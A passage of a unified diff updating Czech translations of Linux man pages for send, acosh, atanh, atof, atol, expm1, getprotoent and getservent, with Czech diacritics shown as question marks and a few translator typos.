+(Toto lze tak? povolit pomoc? \fBO_NONBLOCK\fP v \fBF_SETFL fnctl\fP(2)).
+.TP
+\fB MSG_EOR\fP (od Linuxu 2.2)
+Ukon?? z?znam (pokud je tento parametr podporov?n jako nap??klad u soket?
+\fBSOCK_PAKET\fP).
+.TP
+\fB MSG_MORE\fP (od Linuxu 2.4.4)
+Volaj?c? m? v?ce dat k odesl?n?. Tento flag je pou??v?n s TCP sokety ke
+z?sk?n? stejn?ho efektu, jak?ho dosahuje parametr soketu \fBTCP_CORK\fP
+(viz \fBtcp\fP(7)) s t?m rozd?lem, ?e tento parametr m??e b?t nastaven
+pro ka?d? vol?n?.
 
-Flag
+Od Linuxu 2.6 je tento parametr podporov?n tak? pro sokety UDP a informuje kernel,
+aby v?echna data, kter? maj? nastaven tento p??znak, byla zabalena do jednoho
+datagramu, kter? je posl?n, kdy? je provedeno vol?n?, kter? nem? tento flag
+nastaven. (Viz parametr \fBUDP_CORK\fP, kter? je pops?n v \fBudp\fP(7).)
+.TP
+\fB MSG_NOSIGNAL\fP (od Linuxu 2.2)
+Sign?l
+.B SIGPIPE
+nebude zasl?n u proudov? orientovan?ch soket?, kdy? druh? konec ukon??
+spojen?. Chyba \fBEPIPE\fP je v?ak st?le zas?l?na.
+.TP
 .B MSG_OOB
-je pou?it pro pos?l?n? 
+Pos?l?
 .I out-of-band
-dat do soketu, kter? to podporuje (nap?.
-.BR SOCK_STREAM );
-pou?it? protokol mus? tak? podporovat
+data, pokud to dan? soket povoluje(nap?. \fBSOCK_STREAM\fP); protokol
+ni??? vrstvy mus? tak? podporovat
 .I out-of-band
 data.
-.B MSG_DONTROUTE
-je norm?ln? pou??v?no pouze diagnostick?mi a routovac?mi programy.
 
-V
-.BR recv (2)
-je obsa?en popis struktury
+
+N?sleduje definice
 .I msghdr
+struktury. Dal?? detaily lze nal?zt v \fBrecv\fP(2) a n??e.
+.TP
+
+struct msghdr \ {
+    void            *msg_name  \  /*voliteln? adresa*/
+    socklen_t         msg_namelen; \   /*velikost adresy*/
+    struct iovec  *msq_iov     \  /*pole*/
+.br
+    size_t       msg_iovlen \ /*?leny msq_iov*/
+    void        *msg_control \  /*pomocn? data*/
+    socklen_t     msg_controllen \ /*d?lka bufferu*/
+    int          msg_flags \ /*parametry p??choz? zpr?vy*/
+.LP
+};
+
+M??ete poslat kontroln? informaci pomoc?
+.I msg_control
+a
+.I msg_controllen.
+Maxim?ln? d?lka bufferu, kterou m??e kernel zpracovat je
+omezena pro ka?d? soket pomoc?
+.I net.core.opt-mem_max
+sysctl. Viz \fBsocket\fP(7).
+
+
 .SH N?VRATOV? HODNOTA
 Vol?n? vrac? po?et poslan?ch znak?, nebo \-1 pokud se objevila chyba.
 .SH CHYBY
+Toto jsou n?kter? standardn? chyby generovan? sokety.
+Ni??? vrstvy v?ak mohou generovat i jin? chyby. Pro
+jejich popis nav?tivte jejich manu?lov? str?nky.
 .TP 0.8i
+.B EACCES
+(Pro unixov? sokety, kter? jsou identifikov?ny pomoc? cesty.)
+Pr?vo z?pisu je odm?tnuto pro c?lov? soubor nebo pr?vo na prohled?v?n?
+je odm?tnuto pro n?kter? adres?? v cest?. (Viz \fB path_resolution\fP(7).)
+.TP
+.B EAGAIN
+nebo
+.B EWOULDBLOCK
+.br
+Soket je ozna?en jako neblokuj?c? a po?adovan? operace by blokovala.
+.TP
 .B EBADF
 Byl specifikov?n neplatn? deskriptor.
 .TP
-.B ENOTSOCK
-Argument
-.I s
-nen? soket
+.B ECONNRESET
+.br
+Spojen? resetov?no druhou stranou.
+.TP
+.B EDESTADDRREQ
+.br
+Soket se nenach?z? ve spojovan?m m?du a nen? nastavena ??dn? adresa.
 .TP
 .B EFAULT
 Parametr je v neplatn? ??sti adresov?ho prostoru procesu.
 .TP
-.B EMSGSIZE
-Soket po?aduje, aby tato zpr?va byla posl?na atomicky, ale velikost t?to
-zpr?vy toto znemo??uje.
+.B EINTR
+Objevil se sign?l d??ve, ne? byla p?enesena data. Viz \fBsignal\fP(7).
 .TP
-.B EWOULDBLOCK
-Soket je ozna?en jako neblokuj?c? a po?adovan? operace by blokovala.
+.B EINVAL
+P?ed?n neplatn? parametr.
 .TP
-.B ENOBUFS
-Syst?m nen? schopen alokovat intern? buffery. Operace m??e b?t ?sp??n? a?
-budou buffery k dispozici.
+.B EISCONN
+Pro ji? spojen? soket byl specifikov?n dal?? adres?t. (Bu? je
+vyvol?na tato chyba nebo je dal?? adres?t ignorov?n.)
 .TP
+.B EMSGSIZE
+Soket po?aduje, aby tato zpr?va byla posl?na atomicky, ale velikost t?to
+zpr?vy toto znemo??uje.
 .B ENOBUFS
 V?stupn? fronta pro s??ov? rozhran? je zapln?na. To obvykle znamen?, ?e
 rozhran? p?estalo pos?lat, ale m??e to b?t tak? zp?sobeno ob?asn?m
 p?et??en?m rozhran?.
+.TP
+.B ENOMEM
+??dn? dostupn? pam??.
+.TP
+.B ENOTCONN
+.br
+Soket nen? spojen? a nebyl d?n ??dn? c?l.
+.TP
+.B ENOTSOCK
+Argument
+.I s
+nen? soket.
+.TP
+.B EOPNOTSUPP
+.br
+N?kter? bit v parametrech je nevhodn? pro tento typ soketu.
+.TP
+.B EPIPE
+Lok?ln? spojen? bylo ukon?eno na spojovan?m soketu. V tom p??pad?
+proces tak? obdr??
+.B SIGPIPE
+pokud nen? nastaveno
+.B MSG_NOSIGNAL
+
+
+
 .SH SPL?UJE STANDARDY
-4.4BSD, SVr4 (tato vol?n? se poprv? objevila ve 4.2BSD).  SVr4
-dokumentuje dal?? chyby EINVAL, EINTR, EMSGSIZE, ENOSR, ENOMEM.
+4.4BSD, SVr4, POSIX.1-2001 Tato vol?n? se poprv? objevila ve 4.2BSD.
+
+POSIX.1-2001 popisuje pouze p??znaky
+.B MSG_OOB
+a
+.B MSG_EOR.
+P??znak
+.B MSG_CONFIRM
+je dostupn? pouze v Linuxu.
+.SH POZN?MKY
+Prototypy uveden? v??e spl?uj? Single Unix Specifikaci a glibc2 tak?.
+Parametr
+.I flags
+byl typu
+.I int
+v BSD 4.x, ov?em
+.I unsigned int
+v libc4 a libc5. Argument
+.I len
+byl v BSD 4.x a libc 4
+.I int
+, ov?em v libc5 je typu
+.I size_t
+argument
+.I tolen
+je typu
+.I int
+v 4.x BSD, libc4 i libc5. Viz \fB accept\fP(2).
+
+Dle normy POSIX.1-2001 pole
+.I msg_controllen
+ve struktu?e
+.I maghdr
+by m?lo b?t typu
+.I socklen_t
+, ale v aktu?ln? verzi glibc(2.4) m? typ
+.I size_t
+.SH CHYBY
+Linux by m?l vrace \fBEPIPE\fP m?sto \fBENOTCONN\fP.
+.SH P??KLAD
+P??klad pou?it? \fBsendto\fP() je v \fBgetaddrinfo\fP(3).
+
 .SH DAL?? INFORMACE
-.BR fcntl "(2), " recv "(2), " select "(2), " getsockopt "(2), "
-.BR socket "(2), " write (2)
-.SH VAROV?N?
-P?eklad je pravd?podobn? zastaral?. Pokud chcete pomoci s jeho aktualizac?, zami?te na http://man-pages-cs-wiki.homelinux.net/
+.BR fcntl "(2), "sendfile "(2), "shutdown "(2),  " recv "(2), " select "(2), " getsockopt "(2), "
+.BR socket "(2), " write "(2), " cmsg "(3), " ip "(7), " socket "(7), " tcp "(7), " udp "(7)
+.SH TIR??
+Tato str?nka je sou??st? projektu Linux \fIman\-pages\fP.  Popis projektu a
+informace o hl??en? chyb najdete na http://www.kernel.org/doc/man\-pages/.
+
diff -ur man-pages-cs-0.18.20090209-orig/man-pages/man3/acosh.3 man-pages-cs-0.18.20090209/man-pages/man3/acosh.3
--- man-pages-cs-0.18.20090209-orig/man-pages/man3/acosh.3	1999-05-31 19:28:29.000000000 +0200
+++ man-pages-cs-0.18.20090209/man-pages/man3/acosh.3	2009-10-08 10:17:34.000000000 +0200
@@ -1,26 +1,59 @@
-.TH ACOSH 3  "5.ledna 1997" "" "Linux - p??ru?ka program?tora"
+.\" Aktualizov?no podle man-pages-3.09-2 z distribuce Fedora 10
+.TH ACOSH 3  "6. ??jna 2009" "" "Linux - p??ru?ka program?tora"
 .do hla cs
 .do hpf hyphen.cs
 .SH JM?NO
-acosh \- inverzn? hyperbolick? cosinus
+acosh, acoshf, acoshl \- inverzn? hyperbolick? cosinus
 .SH SYNTAXE
 .nf
 .B #include <math.h>
 .sp
 .BR "double acosh(double " x );
+.BR "float acoshf(float " x );
+.BR "long double acoshl(long double " x );
 .fi
+.sp
+Linkujte s \fI -lm\fP
+.fi
+.sp
+Vy?aduje Feature Test Makro pro glibc (viz \fBfeature_test_macros\fP(7)):
+.sp
+\fBatanh()\fP: _BSD_SOURCE || _SVID_SOURCE || _XOPEN_SOURCE >= 500
+|| _ISOC99_SOURCE; nebo \fIcc -std=c99\fP
+.br
+\fBatanhf\fP(), \fBatanhl\fP(): _BSD_SOURCE || _SVID_SOURCE ||
+_XOPEN_SOURCE >= 600 || _ISOC99_SOURCE; nebo \fIcc -std=c99\fP
 .SH POPIS
-Funkce \fBacosh()\fP po??t? hodnotu inverzn?ho hyperbolick?ho cosinu ??sla 
+Funkce \fBacosh()\fP po??t? hodnotu inverzn?ho hyperbolick?ho cosinu ??sla
 \fIx\fP; co? je hodnota, jej?? hyperbolick? cosinus je \fIx\fP.
-Je-li \fIx\fP men?? ne? 1.0, \fBacosh()\fP vrac? \fInot-a-number\fP (NaN)
-a nastav? prom?nnou \fIerrno\fP .
+.SH N?VRATOV? HODNOTA
+P?i ?sp?chu vrac? tato funkce inverzn? hyperbolick? kosinus \fIx\fP.
+.sp
+Je-li \fIx\fP NaN, je vr?ceno NaN.
+.sp
+Je-li \fIx\fP +1, je vr?ceno +0.
+.sp
+Je-li \fIx\fP plus nekone?no, je vr?ceno plus nekone?no.
+s matematicky korektn?m znam?nkem.
+.sp
+Pokud je \fIx\fP men?? ne? 1, vznikne dom?nov? chyba a funkce vr?t?
+NaN.
 .SH CHYBY
+Pro v?ce informac? zda funkce p?i sv?m vol?n? generovala chybu viz
+\fB math_error\fP(7).
+.sp
+Mohou se objevit n?sleduj?c? chyby:
+.sp
 .TP
-.B EDOM
-\fIx\fP nen? z defini?n?ho oboru.
+Dom?nov? chyba: \fIx\fP je men??  +1
+\fIerrno\fP je nastaveno na
+.B EDOM.
+Je signalizov?na v?jimka plovouc? ??rky(\fBFE_INVALID\fP).
 .SH SPL?UJE STANDARDY
 SVID 3, POSIX, BSD 4.3, ISO 9899
 .SH DAL?? INFORMACE
-.BR asinh "(3), " atanh "(3), " cosh "(3), " sinh "(3), " tanh (3)
-.SH VAROV?N?
-P?eklad je pravd?podobn? zastaral?. Pokud chcete pomoci s jeho aktualizac?, zami?te na http://man-pages-cs-wiki.homelinux.net/
+.BR asinh "(3), " atanh "(3), " cacosh "(3), " cosh "(3), " sinh "(3), " tanh (3)
+.SH TIR??
+Tato str?nka je sou??st? projektu Linux \fIman\-pages\fP.  Popis projektu a
+informace o hl??en? chyb najdete na http://www.kernel.org/doc/man\-pages/.
+
diff -ur man-pages-cs-0.18.20090209-orig/man-pages/man3/atanh.3 man-pages-cs-0.18.20090209/man-pages/man3/atanh.3
--- man-pages-cs-0.18.20090209-orig/man-pages/man3/atanh.3	1999-05-31 19:28:30.000000000 +0200
+++ man-pages-cs-0.18.20090209/man-pages/man3/atanh.3	2009-10-08 10:18:32.000000000 +0200
@@ -1,26 +1,70 @@
-.TH ATANH 3  "5.ledna 1997" "" "Linux - p??ru?ka program?tora"
+.\" Aktualizov?no podle man-pages-3.09-2 z distribuce Fedora 10
+.TH ATANH 3  "6. ??jna 2009" "" "Linux - p??ru?ka program?tora"
 .do hla cs
 .do hpf hyphen.cs
 .SH JM?NO
-atanh \- funkce inverzn?ho hyperbolick?ho tangens
+atanh, atanhf, atanhl \- funkce inverzn?ho hyperbolick?ho tangens
 .SH SYNTAXE
 .nf
 .B #include <math.h>
 .sp
 .BI "double atanh(double " x );
+.BI "float atanhf(float " x );
+.BI "lonf double atanh(long double " x );
+.sp
+Linkujte s \fI -lm\fP
 .fi
+.sp
+Vy?aduje Feature Test Makro pro glibc (viz \fBfeature_test_macros\fP(7)):
+.sp
+\fBatanh()\fP: _BSD_SOURCE || _SVID_SOURCE || _XOPEN_SOURCE >= 500
+|| _ISOC99_SOURCE; nebo \fIcc -std=c99\fP
+.br
+\fBatanhf\fP(), \fBatanhl\fP(): _BSD_SOURCE || _SVID_SOURCE ||
+_XOPEN_SOURCE >= 600 || _ISOC99_SOURCE; nebo \fIcc -std=c99\fP
+
+ 
 .SH POPIS
 Funkce \fBatanh()\fP po??t? inverzn? hyperbolick? tangens \fIx\fP, co? je
-hodnota, jej?? hyperbolick? tangens je \fIx\fP. Je-li absolutn? hodnota
-\fIx\fP v?t?? ne? 1.0, funkce \fBacosh()\fP vrac? \fInot-a-number\fP (NaN)
-a je nastavena prom?nn? \fIerrno\fP .
+hodnota, jej?? hyperbolick? tangens je \fIx\fP.
+.SH N?VRATOV? HODNOTA
+P?i ?sp?chu vrac? tato funkce inverzn? hyperbolick? tangens \fIx\fP.
+.sp
+Je-li \fIx\fP NaN, je vr?ceno NaN.
+.sp
+Je-li \fIx\fP +0 (-0), je vr?ceno +0 (-0).
+.sp
+Je-li \fIx\fP +1 nebo -1 je generov?na chyba a funkce vr?t?
+.B HUGE_VAL,
+.B HUGE_VALF,
+nebo
+.B HUGE_VALL
+s matematicky korektn?m znam?nkem.
+.sp
+Pokud je absolutn? hodnota \fIx\fP v?t?? ne? 1, je generov?na dom?nov? chyba
+a n?vratov? hodnota je NaN.
 .SH CHYBY
+Pro v?ce informac? zda funkce p?i sv?m vol?n? generovala chybu viz
+\fB math_error\fP(7).
+.sp
+Mohou se objevit n?sleduj?c? chyby:
+.sp
+.TP
+Dom?nov? chyba: \fIx\fP je men?? ne? -1 nebo v?t?? ne? +1
+\fIerrno\fP je nastaveno na
+.B EDOM.
+Je signalizov?na v?jimka plovouc? ??rky(\fBFE_DIVBYZERO\fP).
 .TP
-.B EDOM
-\fIx\fP nen? z defini?n?ho oboru.
+Chyba m?ry: \fIx\fP je +1 nebo -1
+\fIerrno\fP je nastaveno na
+.B ERANGE
+(viz BUGS).Je signalizov?na v?jimka plovouc? ??rky(\fBFE_DIVBYZERO\fP).
 .SH SPL?UJE STANDARDY
-SVID 3, POSIX, BSD 4.3, ISO 9899
+C99, POSIX.1-2001, Varianta vracej?c? \fIdouble\fP tak? spl?uje
+SVr4, 4.3BSD, C89.
 .SH DAL?? INFORMACE
-.BR asinh "(3), " acosh "(3), " cosh "(3), " sinh "(3), " tanh (3)
-.SH VAROV?N?
-P?eklad je pravd?podobn? zastaral?. Pokud chcete pomoci s jeho aktualizac?, zami?te na http://man-pages-cs-wiki.homelinux.net/
+.BR asinh "(3), " acosh "(3), "catanh "(3), " cosh "(3), " sinh "(3), " tanh (3)
+.SH TIR??
+Tato str?nka je sou??st? projektu Linux \fIman\-pages\fP.  Popis projektu a
+informace o hl??en? chyb najdete na http://www.kernel.org/doc/man\-pages/.
+
diff -ur man-pages-cs-0.18.20090209-orig/man-pages/man3/atof.3 man-pages-cs-0.18.20090209/man-pages/man3/atof.3
--- man-pages-cs-0.18.20090209-orig/man-pages/man3/atof.3	1999-05-31 19:28:30.000000000 +0200
+++ man-pages-cs-0.18.20090209/man-pages/man3/atof.3	2009-10-08 10:19:34.000000000 +0200
@@ -1,4 +1,5 @@
-.TH ATOF 3  "6.ledna 1997" "GNU" "Linux - p??ru?ka program?tora"
+.\" Aktualizov?no podle man-pages-3.09-2 z distribuce Fedora 10
+.TH ATOF 3  "7. ??jna 2009" "GNU" "Linux - p??ru?ka program?tora"
 .do hla cs
 .do hpf hyphen.cs
 .SH JM?NO
@@ -11,18 +12,20 @@
 .fi
 .SH POPIS
 Funkce \fBatof()\fP p?ev?d? ?vodn? ??st ?et?zce
-\fInptr\fP na ??slo typu double. Jej? chov?n? je stejn? jako u funkce 
+\fInptr\fP na ??slo typu \fIdouble\fP. Jej? chov?n? je stejn? jako u funkce
 .sp
 .RS
-.B strtod(nptr, (char **)NULL);
+strtod(nptr, (char **)NULL);
 .RE
 .sp
 krom? toho, ?e \fBatof()\fP nedetekuje ??dn? chyby.
 .SH N?VRATOV? HODNOTA
 P?eveden? ??slo.
 .SH SPL?UJE STANDARDY
-SVID 3, POSIX, BSD 4.3, ISO 9899
+SVr4, POSIX.1-2001, 4.3BSD, C89, C99
 .SH DAL?? INFORMACE
 .BR atoi "(3), " atol "(3), " strtod "(3), " strtol "(3), " strtoul (3)
-.SH VAROV?N?
-P?eklad je pravd?podobn? zastaral?. Pokud chcete pomoci s jeho aktualizac?, zami?te na http://man-pages-cs-wiki.homelinux.net/
+.SH TIR??
+Tato str?nka je sou??st? projektu Linux \fIman\-pages\fP.  Popis projektu a
+informace o hl??en? chyb najdete na http://www.kernel.org/doc/man\-pages/.
+
diff -ur man-pages-cs-0.18.20090209-orig/man-pages/man3/atol.3 man-pages-cs-0.18.20090209/man-pages/man3/atol.3
--- man-pages-cs-0.18.20090209-orig/man-pages/man3/atol.3	1999-05-31 19:28:31.000000000 +0200
+++ man-pages-cs-0.18.20090209/man-pages/man3/atol.3	2009-10-08 10:20:10.000000000 +0200
@@ -1,29 +1,55 @@
-.TH ATOL 3  "5.ledna 1997" "GNU" "Linux - p??ru?ka program?tora"
+.\" Aktualizov?no podle man-pages-3.09-2 z distribuce Fedora 10
+.TH ATOL 3  "6. ??jna 2009" "GNU" "Linux - p??ru?ka program?tora"
 .do hla cs
 .do hpf hyphen.cs
 .SH JM?NO
-atol \- p?ev?d? ?et?zec na ??slo typu long integer.
+atoi, atol, atoll, atoq \- p?ev?d? ?et?zec na integer.
 .SH SYNTAXE
 .nf
 .B #include <stdlib.h>
 .sp
+.BI "int atoi(const char *" nptr );
 .BI "long atol(const char *" nptr );
+.BI "long long atoll(const char *" nptr );
+.BI "long long atoq(const char *" nptr );
 .fi
+.sp
+Vy?aduje Feature Test Makro pro glibc (viz \fBfeature_test_macros\fP(7)):
+.sp
+\fBatoll()\fP: _BSD_SOURCE || _SVID_SOURCE || _XOPEN_SOURCE >= 600
+|| _ISOC99_SOURCE; nebo \fIcc -std=c99\fP
 .SH POPIS
-Funkce \fBatol()\fP p?ev?d? ?vodn? ??st ?et?zce
-\fInptr\fP na ??slo typu long integer. Jej? chov?n? je p?ibli?n? stejn? jako
+Funkce \fBatoi()\fP p?ev?d? ?vodn? ??st ?et?zce
+\fInptr\fP na \fI integer\fP. Jej? chov?n? je p?ibli?n? stejn? jako
 u
 .sp
 .RS
-.B strtol(nptr, (char **)NULL, 10);
+strtol(nptr, (char **)NULL, 10);
 .RE
 .sp
-krom? toho, ?e \fBatol()\fP nedetekuje chyby.
+krom? toho, ?e \fBatoi()\fP nedetekuje chyby.
+.sp
+Funkce \fBatol\fP() a \fBatoll\fP() se chovaj? stejn? jako \fBatoi\fP() s
+t?m rozd?lem, ?e p?ev?d? ?vodn? ??st ?et?zce na sv?j n?vratov? typ
+.I long
+nebo
+.I long long.
+Funkce \fBatoq\fP() je zastaral?m n?zvem pro \fBatoi\fP().
+
 .SH N?VRATOV? HODNOTA
 P?eveden? hodnota.
 .SH SPL?UJE STANDARDY
-SVID 3, POSIX, BSD 4.3, ISO 9899
+SVr4, POSIX.1-2001, 4.3BSD, C99. C89 a POSIX.1-1996 zahrnuj? pouze funkce
+\fBatoi\fP() a \fBatol\fP(). Funkce \fBatoq\fP() je roz???en? GNU.
+.SH POZN?MKY
+Nestandardn? funkce \fBatoq\fP() ji? nen? p??tomna v libc 4.6.27
+ani glibc2, ale je p??tomna v libc5 a libc 4.7(a?koli pouze jako
+inline funkce v \fI<stdlib.h>\fP od verze 5.4.44). Funkce
+\fBatoll\fP() je p??tomna v glibc 2 od verze 2.0.2, ale ne v glibc4 a
+glibc5.
 .SH DAL?? INFORMACE
-.BR atof "(3), " atoi "(3), " strtod "(3), " strtol "(3), " strtoul (3)
-.SH VAROV?N?
-P?eklad je pravd?podobn? zastaral?. Pokud chcete pomoci s jeho aktualizac?, zami?te na http://man-pages-cs-wiki.homelinux.net/
+.BR atof "(3), " strtod "(3), " strtol "(3), " strtoul (3)
+.SH TIR??
+Tato str?nka je sou??st? projektu Linux \fIman\-pages\fP.  Popis projektu a
+informace o hl??en? chyb najdete na http://www.kernel.org/doc/man\-pages/.
+
diff -ur man-pages-cs-0.18.20090209-orig/man-pages/man3/expm1.3 man-pages-cs-0.18.20090209/man-pages/man3/expm1.3
--- man-pages-cs-0.18.20090209-orig/man-pages/man3/expm1.3	1999-05-31 19:28:31.000000000 +0200
+++ man-pages-cs-0.18.20090209/man-pages/man3/expm1.3	2009-10-08 10:21:52.000000000 +0200
@@ -1,29 +1,76 @@
-.TH EXPM1 3  "5.ledna 1997" "GNU" "Linux - p??ru?ka program?tora"
+.\" Aktualizov?no podle man-pages-3.09-2 z distribuce Fedora 10
+.TH EXPM1 3  "7. ??jna 2009" "GNU" "Linux - p??ru?ka program?tora"
 .do hla cs
 .do hpf hyphen.cs
 .SH JM?NO
-expm1, log1p \- exponenci?ln? funkce minus 1, logaritmus ??sla 1 plus argument
+expm1, exmp1f, expm1l \- exponenci?ln? funkce minus 1
 .SH SYNTAXE
 .nf
 .B #include <math.h>
 .sp
-.BI "double expm1 ( double " x " );"
+.BI "double expm1 (double " x " );"
+.BI "float expm1f (float " x " );"
+.BI "long double expm1 (long double " x " );"
+.fi
 .sp
-.BI "double log1p ( double " x " );"
+Linkujte s \fI -lm\fP
 .fi
+.sp
+Vy?aduje Feature Test Makro pro glibc (viz \fBfeature_test_macros\fP(7)):
+.sp
+\fBexpm1()\fP: _BSD_SOURCE || _SVID_SOURCE || _XOPEN_SOURCE >= 500
+|| _ISOC99_SOURCE; nebo \fIcc -std=c99\fP
+.br
+\fBexpm1f\fP(), \fBexpm1l\fP(): _BSD_SOURCE || _SVID_SOURCE ||
+_XOPEN_SOURCE >= 600 || _ISOC99_SOURCE; nebo \fIcc -std=c99\fP
 .SH POPIS
 .BI expm1( x )
-vrac? ??slo odpov?daj?c? `exp (\fIx\fP) - 1'. Toto ??slo je po??t?no
-algoritmem, kter? je pom?rn? p?esn? i v p??pad?, ?e ??slo 
-\fIx\fP je bl?zko ??sla nula. -- v tomto p??pad? bude `exp (\fIx\fP) - 1'
+vrac? ??slo odpov?daj?c?
+.TP
+exp (\fIx\fP) - 1
+.LP
+Toto ??slo je po??t?no
+algoritmem, kter? je pom?rn? p?esn? i v p??pad?, ?e ??slo
+\fIx\fP je bl?zko ??sla nula. V tomto p??pad? bude `exp (\fIx\fP) - 1'
 nevhodn?, proto?e bychom ode??tali dv? skoro stejn? ??sla.
-.PP
-.BI log1p( x )
-vrac? hodnotu `log (1 + \fIx\fP)'. Je po??t?na algoritmem, kter? je pom?rn?
-p?esn? i v p??pad?, kdy je ??slo \fIx\fP skoro nula.
+.SH N?VRATOV? HODNOTA
+P?i ?sp?chu vrac? tato funkce \fIexp(x) - 1\fP.
+.sp
+Je-li \fIx\fP NaN, je vr?ceno NaN.
+.sp
+Je-li \fIx\fP +0 (-0), je vr?ceno +0 (-0).
+.sp
+Je-li \fIx\fP plus nekone?no, je vr?ceno plus nekone?no.
+.sp
+Je-li \fIx\fP m?nus nekone?no, je vr?ceno -1.
+.sp
+Pokud v?sledek p?ete?e, je vystavena chyba rozsahu a funkce vr?t?
+.B -HUGE_VAL, -HUGE_VALF
+nebo
+.B -HUGE_VALL.
+.SH CHYBY
+Pro v?ce informac? zda funkce p?i sv?m vol?n? generovala chybu viz
+\fB math_error\fP(7).
+.sp
+Mohou se objevit n?sleduj?c? chyby:
+.sp
+.TP
+Chyba rozsahu,  p?ete?en?
+
+Je signalizov?na v?jimka plovouc? ??rky(\fBFE_OVERFLOW\fP).
+.LP
+Tato funkce nenastavuje \fIerrno\fP.
 .SH SPL?UJE STANDARDY
-BSD
+C99, POSIX.1-2001.
+.SH CHYBY
+Pro n?kter? velk? z?porn? hodnoty \fIx\fP (pro n?? se v?sledek funkce bl??? -1)
+vystav? \fBexpm1\fP() nespr?vnou v?jimku podte?en? v plovouc? ??rce.
+
+Pro n?kter? velk? kladn? hodnoty \fIx\fP vystav? \fBexmp1\fP() vedle v?jimky p?ete?en?
+je?t? nespr?vnou v?jimku neplatn? operace v plovouc? ??rce a vr?t? NaN m?sto plus nekone?no.
 .SH DAL?? INFORMACE
-.BR exp "(3), " log (3)
-.SH VAROV?N?
-P?eklad je pravd?podobn? zastaral?. Pokud chcete pomoci s jeho aktualizac?, zami?te na http://man-pages-cs-wiki.homelinux.net/
+.BR exp "(3), " log "(3), " log1p "(3)
+.SH TIR??
+Tato str?nka je sou??st? projektu Linux \fIman\-pages\fP.  Popis projektu a
+informace o hl??en? chyb najdete na http://www.kernel.org/doc/man\-pages/.
+
diff -ur man-pages-cs-0.18.20090209-orig/man-pages/man3/getprotoent.3 man-pages-cs-0.18.20090209/man-pages/man3/getprotoent.3
--- man-pages-cs-0.18.20090209-orig/man-pages/man3/getprotoent.3	1999-05-31 19:28:32.000000000 +0200
+++ man-pages-cs-0.18.20090209/man-pages/man3/getprotoent.3	2009-10-08 10:23:31.000000000 +0200
@@ -1,4 +1,5 @@
-.TH GETPROTOENT 3  "31. b?ezna 1997" "BSD" "Linux - p??ru?ka program?tora"
+.\" Aktualizov?no podle man-pages-3.09-2 z distribuce Fedora 10
+.TH GETPROTOENT 3  "6. ??jna 2009" "BSD" "Linux - p??ru?ka program?tora"
 .do hla cs
 .do hpf hyphen.cs
 .SH JM?NO
@@ -19,22 +20,23 @@
 .B void endprotoent(void);
 .fi
 .SH POPIS
-Funkce \fBgetprotoent()\fP p?e?te dal?? z?znam z datab?ze protokol? 
-\fI/etc/protocols\fP a vr?t? strukturu \fIprotoent\fP, kter? obsahuje
-jednotliv? pole. Soubor \fI/etc/protocols\fP je otev?en, je-li pot?eba.
+Funkce \fBgetprotoent()\fP p?e?te dal?? z?znam z datab?ze protokol?
+(viz \fBprotocols\fP(5)) a vr?t? strukturu \fIprotoent\fP, kter? obsahuje
+jednotliv? pole. P?ipojen? k datab?zi je otev?eno, je-li pot?eba.
 .PP
 Funkce \fBgetprotobyname()\fP vrac? strukturu \fIprotoent\fP
-ze souboru \fI/etc/protocols\fP pro ??dek, kter? vyhovuje
-jm?nu \fIname\fP.
+ze datab?ze pro ??dek, kter? vyhovuje
+jm?nu \fIname\fP. P?ipojen? k datab?zi je otev?eno, je-li pot?eba.
 .PP
-Funkce \fBgetprotobynumber()\fP vrac? strukturu \fIprotoent\fP
+Funkce \fBgetprotobynumber()\fP vrac? strukturu \fIprotoent\fP z datab?ze
 pro ??dek, kter? vyhovuje protokolov?mu ??slu \fInumber\fP.
+P?ipojen? k datab?zi je otev?eno, je-li pot?eba.
 .PP
 Funkce \fBsetprotoent()\fP otev?e datab?zi protokol? a nastav? ukazov?tko na
 jeho za??tek. Je-li \fIstayopen\fP nenulov?, soubor nebude mezi vol?n?mi
 \fBgetprotobyname()\fP a \fBgetprotobynumber()\fP uzav?r?n.
 .PP
-Funkce \fBendprotoent()\fP uzav?r? \fI/etc/protocols\fP.
+Funkce \fBendprotoent()\fP uzav?r? spojen? s datab?z?.
 .PP
 Struktura \fIprotoent\fP je definov?na v \fI<netdb.h>\fP n?sledovn?:
 .sp
@@ -43,9 +45,9 @@
 .ne 5
 .ta 8n 16n 32n
 struct protoent {
-	char	*p_name;		/* official protocol name */
-	char	**p_aliases;		/* alias list */
-	int	p_proto;		/* protocol number */
+    char    *p_name;        /* official protocol name */
+    char    **p_aliases;        /* alias list */
+    int    p_proto;        /* protocol number */
 }
 .ta
 .fi
@@ -72,8 +74,10 @@
 datab?ze protokol?
 .PD
 .SH SPL?UJE STANDARDY
-BSD 4.3
+4.3BSD, POSIX.1-2001.
 .SH DAL?? INFORMACE
-.BR getservent "(3), " getnetent "(3), " protocols (5)
-.SH VAROV?N?
-P?eklad je pravd?podobn? zastaral?. Pokud chcete pomoci s jeho aktualizac?, zami?te na http://man-pages-cs-wiki.homelinux.net/
+.BR getservent "(3), " getnetent "(3), " protocols " (5), " getprotent_r "(3)
+.SH TIR??
+Tato str?nka je sou??st? projektu Linux \fIman\-pages\fP.  Popis projektu a
+informace o hl??en? chyb najdete na http://www.kernel.org/doc/man\-pages/.
+
diff -ur man-pages-cs-0.18.20090209-orig/man-pages/man3/getservent.3 man-pages-cs-0.18.20090209/man-pages/man3/getservent.3
--- man-pages-cs-0.18.20090209-orig/man-pages/man3/getservent.3	1999-05-31 19:28:32.000000000 +0200
+++ man-pages-cs-0.18.20090209/man-pages/man3/getservent.3	2009-10-08 10:24:36.000000000 +0200
@@ -1,4 +1,5 @@
-.TH GETSERVENT 3  "31. b?ezna 1997" "BSD" "Linux - p??ru?ka program?tora"
+.\" Aktualizov?no podle man-pages-3.09-2 z distribuce Fedora 10
+.TH GETSERVENT 3  "6. ??jna 2009" "BSD" "Linux - p??ru?ka program?tora"
 .do hla cs
 .do hpf hyphen.cs
 .SH JM?NO
@@ -19,23 +20,25 @@
 .B void endservent(void);
 .fi
 .SH POPIS
-Funkce \fBgetservent()\fP ?te dal?? ??dek ze souboru
-\fI/etc/services\fP a vrac? strukturu \fIservent\fP obsahuj?c? pole tohoto
-z?znamu. Soubor \fI/etc/services\fP je otev?en, je-li pot?eba.
-.PP
-Funkce \fBgetservbyname()\fP vrac? strukturu \fIservent\fP ze souboru
-\fI/etc/services\fP, kter? vyhovuje slu?b? \fIname\fP pou??vaj?c? protokol
-\fIproto\fP.
+Funkce \fBgetservent()\fP ?te dal?? ??dek z datab?ze
+(vis \fBservices\fP(5)) a vrac? strukturu \fIservent\fP obsahuj?c? pole tohoto
